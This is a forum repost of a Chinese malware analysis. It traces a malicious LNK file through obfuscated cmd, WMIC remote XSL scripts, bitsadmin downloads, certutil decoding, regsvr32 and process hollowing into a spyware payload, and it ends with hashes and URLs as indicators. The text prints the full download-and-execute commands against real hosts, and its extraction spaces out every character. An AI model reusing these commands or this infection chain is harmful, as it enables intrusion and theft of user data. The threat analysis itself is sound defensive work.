搜索

[14316] 2019-07-06_投递恶意lnk使用JwsclTerminalServer实现远程控制和信息获取

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2019-07-06_投递恶意lnk使用JwsclTerminalServer实现远程控制和信息获取 投 递 恶 意 l n k 使 用 J w s c l T e r m i n a l S e r v e r 实 现 远 程 控 制 和 信 息 获 取 x e n c o u n t e r   F r e e B u f   2 0 1 9 - 0 7 - 0 6 一 、 背 景 一 、 背 景 最 近 捕 获 到 一 枚 恶 意 最 近 捕 获 到 一 枚 恶 意 l n k ， 双 击 之 后 会 触 发 后 续 的 攻 击 链 ， 执 行 流 程 如 下 图 所 示 。 ， 双 击 之 后 会 触 发 后 续 的 攻 击 链 ， 执 行 流 程 如 下 图 所 示 。 二 、 详 细 分 析 二 、 详 细 分 析 双 击 l n k 后 会 调 用 c m d 执 行 被 混 淆 后 的 脚 本 ： 去 混 淆 后 如 下 ： 调 用 w m i c 执 行 远 程 x s l 脚 本 ， v . t x t 脚 本 如 图 所 示 拼 接 字 符 串 ， 调 用 W S c r i p t . S h e l l 执 行 命 令 ， 解 出 来 之 后 的 命 令 如 下 ： 继 续 执 行 远 程 x s l 脚 本 ， v v . t x t 脚 本 如 下 图 所 示 ： " C : W i n d o w s s y s t e m 3 2 c m d . e x e "     / V   / D   / C   s t a r t   / M I N   C : W i n d o w s s y s t e m 3 2 c m d . e x e   / V   / D   / C   " s e t   7 t a L r m r = C - m b : - m b - m b - m b W - m b i - m b n d - m b o w - m b s - m b s - m b y s - m b t - m b e - m b m - m b 3 - m b 2 - m b - m b - m b w - m b b - m b e - m b m - m b W - m b M - m b I - m b C . e - m b x - m b e   o - m b s   g - m b e - m b t   n - m b c - m b b - m b j - m b 5 - m b g - m b t - m b d - m b U - m b ,   8 - m b d - m b U - m b H - m b n - m b x - m b i - m b ,   M - m b a - m b x - m b P - m b r - m b o - m b c - m b e - m b s - m b s - m b M - m b e - m b m - m b o - m b r - m b y - m b S - m b i - m b z - m b e - m b   / - m b f o - m b r m - m b a t : " " C : W i n d o w s s y s t e m 3 2 c m d . e x e     / V   / D   / C   " s e t   7 t a L r m r = C : W i n d o w s s y s t e m 3 2 w b e m W M I C . e x e   o s   g e t   n c b j 5 g t d U ,   8 d U H n x i ,   M a x P r o c e s s M e m o r y S i z e   / f o r m a t : " h t t p : / / s t o r a g e . g o o g l e a p i s . c o m : 8 0 / a r y w a f / 0 8 / v . t x t # 0 2 5 0 1 3 6 g k d Y J m m u " W M I C . e x e   o s   g e t   C A E N H N W H ,   A Y N Y L S N T ,   V C K K S B Z F ,   l a s t b o o t u p d a t e   / f o r m a t : " h t t p : / / s t o r a g e . g o o g l e a p i s . c o m : 8 0 / a r y w a f / 0 8 / v v . t x t # 7 3 1 2 0 1
拼 接 字 符 串 ， 调 用 b i t s a d m i n . e x e 从 远 程 服 务 器 将 加 密 后 的 文 件 下 载 到 C : U s e r s P u b l i c L i b r a r i e s l d p w a f 目 录 下 ， 接 着 调 用 c e r t u t i l . e x e 在 本 地 解 密 该 文 件 ， 命 令 如 下 ： 该 过 程 重 复 1 2 次 ， 加 密 后 的 文 件 和 解 密 后 的 文 件 如 图 所 示 ： 当 下 载 和 解 密 完 成 之 后 ， 会 调 用 c m d 将 两 个 解 密 后 的 d l l 文 件 拼 接 到 一 起 ： 生 成 完 整 的 D l l 之 后 ， 调 用 r e g s v r 3 2 启 动 该 D l l ， 如 下 ： a y t 3 e s e 4 x w 6 4 . d l l 由 D e l p h i 语 言 编 写 ， 作 为 一 个 l o a d e r 调 用 后 续 模 块 ， V T 报 毒 情 况 如 下 ： 会 首 先 载 入 之 前 已 经 解 密 的 a y t 3 e s e 4 x w 9 8 . ~ 文 件 实 际 是 一 个 D l l ， 并 获 得 其 中 的 一 个 导 出 函 数 v k t 的 地 址 ： " C : W i n d o w s S y s t e m 3 2 b i t s a d m i n . e x e "   / t r a n s f e r   m s d 5   / p r i o r i t y   f o r e g r o u n d   h x x p : / / s t o r a g e . g o o g l e a p i s . c o m / a r y w a f / x / 0 8 / a y t 3 e s e 4 x w a . j p g . z i p . l o g ? 6 2 9 1 6 1 9 5 9   C : U s e r s P u b a l i c L i b r a r i e s l d p w a f a y t 3 e s e 4 x w a . j p g . z " C : W i n d o w s S y s t e m 3 2 c e r t u t i l . e x e "   - d e c o d e   C : U s e r s P u b l i c L i b r a r i e s l d p w a f a y t 3 e s e 4 x w a . j p g . z   C : U s e r s P u b l i c L i b r a r i e s l d p w a f a y t 3 e s e 4 x w a . j p g ' " C : W i n d o w s S y s t e m 3 2 c m d . e x e "   / c   c d   " C : U s e r s P u b l i c L i b r a r i e s l d p w a f "   & &   t y p e   a y t 3 e s e 4 x w 6 4 a . d l l   a y t 3 e s e 4 x w 6 4 b . d l l   >   a y t 3 e s e 4 x w 6 4 . d l l " C : W i n d o w s S y s t e m 3 2 c m d . e x e "   / c   r e g s v r 3 2 . e x e   " C : U s e r s P u b l i c L i b r a r i e s l d p w a f a y t 3 e s e 4 x w 6 4 . d l l "   & &   e x i t
v k t 函 数 后 续 用 于 内 存 加 载 ， 接 着 会 载 入 a y t 3 e s e 4 x w x a . ~ 和 a y t 3 e s e 4 x w x b . ~ 两 个 文 件 ， 载 入 到 内 存 之 后 进 行 拼 接 ， 拼 成 一 个 P E 文 件 。 将 拼 接 后 的 P E 地 址 入 栈 ， 调 用 v k t 函 数 进 行 内 存 加 载 ： v k t 反 编 译 如 下 ： 该 P E 会 将 a y t 3 e s e 4 x w g x . g i f 加 载 到 内 存 中 ， 并 创 建 一 个 挂 起 的 进 程 u s e r i n i t . e x e 解 密 a y t 3 e s e 4 x w g x . g i f ， 将 其 写 入 到 挂 起 的 u s e r i n i t . e x e 内 存 空 间 中 ， 准 备 进 程 替 换 而 a y t 3 e s e 4 x w g x . g i f 实 际 使 用 D e l p h i 开 源 类 库 J W S C L 编 写 的 一 款 监 控 软 件
在 d u m p 下 来 的 a y t 3 e s e 4 x w g x . g i f 中 ， 字 符 串 列 表 如 下 ： 调 用 了 J W S C L 库 很 多 模 块 。 除 此 之 外 还 会 访 问 s s t a t i c 1 . h i s t a t s . c o m / 0 . g i f ? 4 2 5 3 0 5 1 & 1 0 1 用 来 统 计 感 染 人 数 ， 还 会 访 问 以 下 资 源 ， 可 能 用 于 后 续 攻 击 ， 根 据 名 称 判 断 可 能 是 d d o s 模 块 ： 截 止 到 分 析 时 该 路 径 无 法 访 问 。 接 着 会 内 存 加 载 a y t 3 e s e 4 x w g x . g i f ， 以 上 述 同 样 的 方 式 启 动 傀 儡 进 程 s c v h o s t ， 将 解 密 后 的 a y t 3 e s e 4 x w c . j p g 替 换 到 傀 儡 进 程 中 ， a y t 3 e s e 4 x w c . j p g 主 要 是 s p y 类 的 软 件 ， 收 集 用 户 敏 感 信 息 。 三 、 关 联 分 析 三 、 关 联 分 析 通 过 开 源 威 胁 情 报 可 知 ， 该 服 务 器 上 曾 经 有 如 下 恶 意 样 本 ： 通 过 V T 关 联 分 析 ， 该 团 伙 除 了 投 放 上 述 分 析 的 l n k ， 还 投 放 了 与 其 类 似 的 两 个 l n k 样 本 ： 值 得 注 意 的 是 在 x s l 脚 本 v v . t x t 中 有 些 定 义 的 对 象 和 变 量 并 没 有 被 引 用 ， 在 后 期 下 载 的 众 多 j p g 模 块 也 没 有 被 完 全 调 用 。 结 合 时 间 轴 来 判 断 2 6 日 该 样 本 上 传 到 V T 上 ， 2 8 日 相 关 域 名 访 问 不 上 ， 可 以 大 致 判 断 黑 客 在 测 试 样 本 。 2 8 日 时 又 检 测 到 一 批 名 为 O p t i m a _ x x x _ x x x _ x x x . x l s m 的 样 本 被 上 传 到 V T 上 ，   这 批 样 本 同 样 跟 s t o r a g e . g o o g l e a p i s . c o m 有 关 ， 免 杀 效 果 如 图 所 示 s t o r a g e . g o o g l e a p i s . c o m / 8 t x 1 4 1 r a d x 1 3 8 / 8 / d a d o s . t x t s t o r a g e . g o o g l e a p i s . c o m / t x 1 4 1 r a d x 1 3 8 / 8 / d a d o s . t x t s t o r a g e . g o o g l e a p i s . c o m / c a r b o n - s y n t a x - 6 0 5 . a p p s p o t . c o m / 1 3 8 / 8 / d a d o s . t x t s t o r a g e . g o o g l e a p i s . c o m / 1 t x 1 4 1 r a d x 1 3 8 / 8 / d a d o s . t x t 0 8 A 1 0 5 5 9 9 F 4 2 E 8 A F 2 7 6 8 E 2 E 1 B E 3 6 8 8 6 4 3 7 9 8 5 2 7 B D C 8 2 8 4 3 0 9 E A 3 0 D A F 6 6 1 B 0 1 E E 4 0 3 D 9 B 1 A 5 5 4 8 F E 5 7 3 4 0 7 E B 4 6 A 2 7 5 E B 4 A 2 D 1 3 0 C 2 0 4 F 3 F 1 9 C 2 B 0 C 1 0 7 2 0 5 6 7 6 B 3 D 3 D 8 7 F 5 1 5 B 9 6 3 2 D A 3 3 3 0 A A A 8 D F 5 4 F 6 7 E 1 6 2 7 1 C 6 B 2 1 C A D F 0 F E 0 6 0 C 1 B B A 9 6 8 F 4 5 1 3 2 A 9 4 D A 8 F 4 B C 0 6 F B 3 2 E 0 4 7 D 3 8 3 9 4 6 4 C 5 F 0 5 B A 3 3 6 5 3 6 8 1 8 F 9 B B 2 A 0 2 7 8 9 9 6 E E E 2 F 6 6 A 6 C C C 9 5 5 4 0 6 9 D 9 B 0 A 4 F 9 3 0 E 9 D B E F 3 9 5 2 6 4 7 5 F 9 A C 6 B 9 C 9 7 4 8 3 D C A C C C B 8 8 4 1 4 A A 2 8 C 5 1 E D 7 3 F B D 7 6 3 6 0 0 4 4 8 7 8 3 E E 4 4 3 9 7 B 1 1 C E 9 1 9 4 2 7 9 3 5 8 6 0 2 5 B 5 4 0 D A 4 D F 4 F C 1 1 A 0 7 3 8 6 1 8 8 3 6 B C E 4 B 7 0 7 5 3 8 2 A 5 9 E D D F 2 8 D A 0 1 9 7 0 F 5 7 5 3 6 9 1 2 8 0 B E 5 E A 0 3 5 F A D 5 4 9 7 8 C F C E 5 3 4 E C F D 7 3 8 2 D 5 7 C F C 4 3 6 F 6 4 D 1 2 3 5 0 3 2 0 C 8 3 A C B 3 3 9 8 C C 7 2 3 D 9 F 7 8 4 4 B A 3 C 9 2 5 6 0 6 0 D 2 F 8 E 4 E F 0 F 7 8 F B 3 7 F F 5 0 5 1 4 5 C 2 8 4 B 1 D 2 6 2 0 4 3 D C 4 8 6 0 2 0 0 5 9 E E 8 6 4 9 E 3 A 9 E 8 4 5 8 0 6 4 C 1 8 E 3 2 D D 5 1 B D 6 1 0 8 A 8 7 2 5 B F A A 7 F 9 4 4 D 5 F E 3 8 D 6 A D 5 5 2 F 9 2 1 9 7 1 E E 8 D D B 6 9 b 4 2 f e 6 7 7 e 9 3 7 3 8 f a e 8 5 1 f 3 e 4 e 1 a c 8 d 1 0 d 9 0 7 e 7 a 7 4 e f 3 c a 0 d e 3 5 d a b 3 b 6 1 a 4 3 c
免 杀 效 果 很 好 ， 怀 疑 同 样 是 在 测 试 样 本 ， 不 排 除 后 期 会 发 起 大 规 模 攻 击 。 四 、 四 、 I O C * 本 文 作 者 ： 本 文 作 者 ： x e n c o u n t e r ， 本 文 属 ， 本 文 属   F r e e B u f   原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 精 彩 推 荐 精 彩 推 荐 M D 5 : 3 5 8 d 7 8 4 6 0 9 4 d 6 7 9 a 3 0 4 4 e 3 6 9 2 c d 7 f 3 2 b 1 0 d 9 0 7 e 7 a 7 4 e f 3 c a 0 d e 3 5 d a b 3 b 6 1 a 4 3 c F 6 6 6 9 0 D B 1 8 9 9 E E B 5 B 0 6 D 5 E 8 4 4 2 0 6 8 B 6 F 1 E 0 E B B 4 D A 9 9 F 8 3 C 6 6 5 F 8 7 3 B 5 7 B 7 F F E 7 0 2 2 1 8 9 F 7 E 9 A C 8 3 A E 8 B C F 7 B 3 A A B 1 D 8 4 4 E 8 2 3 0 6 B F 1 0 4 E E 6 4 1 3 4 E 4 A D B A 2 3 5 3 3 D 5 F 1 5 E 7 3 7 E E F F 1 0 5 7 4 F 8 E 3 A 3 C 3 C C 8 3 6 8 B F C 4 4 C 8 2 B 2 F 7 4 7 E E D 4 6 F 9 0 2 A B B 9 B 2 A 1 4 7 8 D 1 D 6 4 C 9 A E 5 F A 8 F 9 F 5 7 4 D B E D 6 D 8 D C 0 2 8 9 9 C D 5 7 B B F B 7 D F B D 7 1 0 A A E F 2 0 9 B F F 7 1 B 0 8 A 3 2 A 1 2 B 6 5 6 5 8 A A E A 8 5 2 9 4 9 5 1 D 4 4 E 1 C 1 B 9 3 7 9 E E 5 D 2 5 5 5 B 3 9 1 2 7 1 3 D B B 6 E A E E B F 0 B D 1 5 2 A 4 A F C 4 A 0 5 4 8 7 D 5 C 4 1 A 0 8 B 0 3 A A 0 9 C 6 0 B 2 D 3 7 4 8 6 F 0 C C 1 5 D 4 1 B E 8 6 5 C 6 F 3 6 F 3 9 1 1 7 B C A 0 E 5 D F 1 1 F F C 0 E C 0 5 0 5 4 B F 2 A 7 1 B E 2 B 5 9 3 D 6 B 5 8 5 5 D A 1 1 9 E F 7 1 2 0 E 1 4 6 C 1 F 7 8 5 1 6 9 3 0 0 F 8 9 C 6 A C A 8 0 D 8 8 7 7 E 7 A D D A 2 3 6 E 8 9 D A 7 8 4 5 E E A 4 A E 9 E 7 E B 0 9 8 B 4 F 6 1 5 1 2 7 E F C 6 F A E 3 A E 4 8 9 F 3 9 0 3 C D B 9 0 1 7 9 E 8 9 E 0 C 2 4 C 7 E 8 D 3 0 1 2 B 6 7 C 6 4 3 D 7 C 2 0 7 4 4 D D 3 0 3 D 0 0 1 6 B 4 7 F 9 0 0 E 8 3 9 3 0 F C A 6 3 0 6 D 6 8 B F C A 0 4 C F 0 C 9 2 C A 1 E D A 0 D 2 4 9 C 7 5 C C 8 7 9 3 4 F 7 F E 9 B 8 8 8 C 1 9 F 7 2 A E 4 E 0 B 1 E 9 9 B B 2 B F C 1 E C 2 7 E D 5 8 B C 5 7 4 6 8 7 3 A 5 8 9 3 D 1 8 D C 0 2 9 E 1 9 2 F 2 1 7 A D D 2 8 1 2 D 2 4 8 1 9 8 C 7 7 C 9 3 0 3 C 4 C F 3 9 1 D 6 7 7 0 5 6 8 3 4 F 1 4 5 4 B 1 3 4 E 3 A 6 E 1 9 1 5 3 A 8 1 6 6 8 7 4 U R L : s t o r a g e . g o o g l e a p i s . c o m / a r y w a f / 0 8 / v . t x t s t o r a g e . g o o g l e a p i s . c o m / a r y w a f / 0 8 / v v . t x t j o r n a l s k n . p w / / 0 8 / ? 0 1 4 1 l w a j m u 4 k a w a . s i s t e m a a p . x y z / 8 / / s s t a t i c 1 . h i s t a t s . c o m / 0 . g i f ? 4 2 5 3 0 5 1 & 1 0 1 s t o r a g e . g o o g l e a p i s . c o m / 3 t x 1 4 1 r a d x 1 3 8 / 8 / d a d o s . t x t s t o r a g e . g o o g l e a p i s . c o m / 8 t x 1 4 1 r a d x 1 3 8 / 8 / d a d o s . t x t s t o r a g e . g o o g l e a p i s . c o m / t x 1 4 1 r a d x 1 3 8 / 8 / d a d o s . t x t s t o r a g e . g o o g l e a p i s . c o m / c a r b o n - s y n t a x - 6 0 5 . a p p s p o t . c o m / 1 3 8 / 8 / d a d o s . t x t s t o r a g e . g o o g l e a p i s . c o m / 1 t x 1 4 1 r a d x 1 3 8 / 8 / d a d o s . t x t s t o r a g e . g o o g l e a p i s . c o m / a r y w a f / x / 0 8 / a y t 3 e s e 4 x w a . j p g . z i p . l o g ? 6 2 9 1 6 1 9 5 9 s t o r a g e . g o o g l e a p i s . c o m / a r y w a f / x / 0 8 / a y t 3 e s e 4 x w b . j p g . z i p . l o g ? 8 3 5 0 2 6 4 8 2 s t o r a g e . g o o g l e a p i s . c o m / a r y w a f / x / 0 8 / a y t 3 e s e 4 x w c . j p g . z i p . l o g ? 1 1 3 0 9 3 3 4 0 s t o r a g e . g o o g l e a p i s . c o m / a r y w a f / x / 0 8 / a y t 3 e s e 4 x w d w w n . g i f . z i p . l o g ? 8 4 6 4 5 2 3 8 s t o r a g e . g o o g l e a p i s . c o m / a r y w a f / x / 0 8 / a y t 3 e s e 4 x w d x . g i f . z i p . l o g ? 3 8 5 9 5 1 0 4 8 s t o r a g e . g o o g l e a p i s . c o m / a r y w a f / x / 0 8 / a y t 3 e s e 4 x w g . g i f . z i p . l o g ? 6 6 1 1 9 6 1 3 4 s t o r a g e . g o o g l e a p i s . c o m / a r y w a f / x / 0 8 / a y t 3 e s e 4 x w g x . g i f . z i p . l o g ? 8 7 5 9 9 1 3 0 7 s t o r a g e . g o o g l e a p i s . c o m / a r y w a f / x / 0 8 / a y t 3 e s e 4 x w x a . g i f . z i p . l o g ? 2 0 6 4 4 5 9 1 2 s t o r a g e . g o o g l e a p i s . c o m / a r y w a f / x / 0 8 / a y t 3 e s e 4 x w x b . g i f . z i p . l o g ? 1 1 4 9 7 2 4 1 1 s t o r a g e . g o o g l e a p i s . c o m / a r y w a f / x / 0 8 / a y t 3 e s e 4 x w 9 8 6 . d l l . z i p . l o g ? 7 7 7 0 4 1 2 1 0 s t o r a g e . g o o g l e a p i s . c o m / a r y w a f / x / 0 8 / a y t 3 e s e 4 x w h h 8 a . d l l . z i p . l o g ? 4 7 9 3 7 4 2 9 6 s t o r a g e . g o o g l e a p i s . c o m / a r y w a f / x / 0 8 / a y t 3 e s e 4 x w h h 8 b . d l l . z i p . l o g ? 6 8 7 2 6 4 8 3 5
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理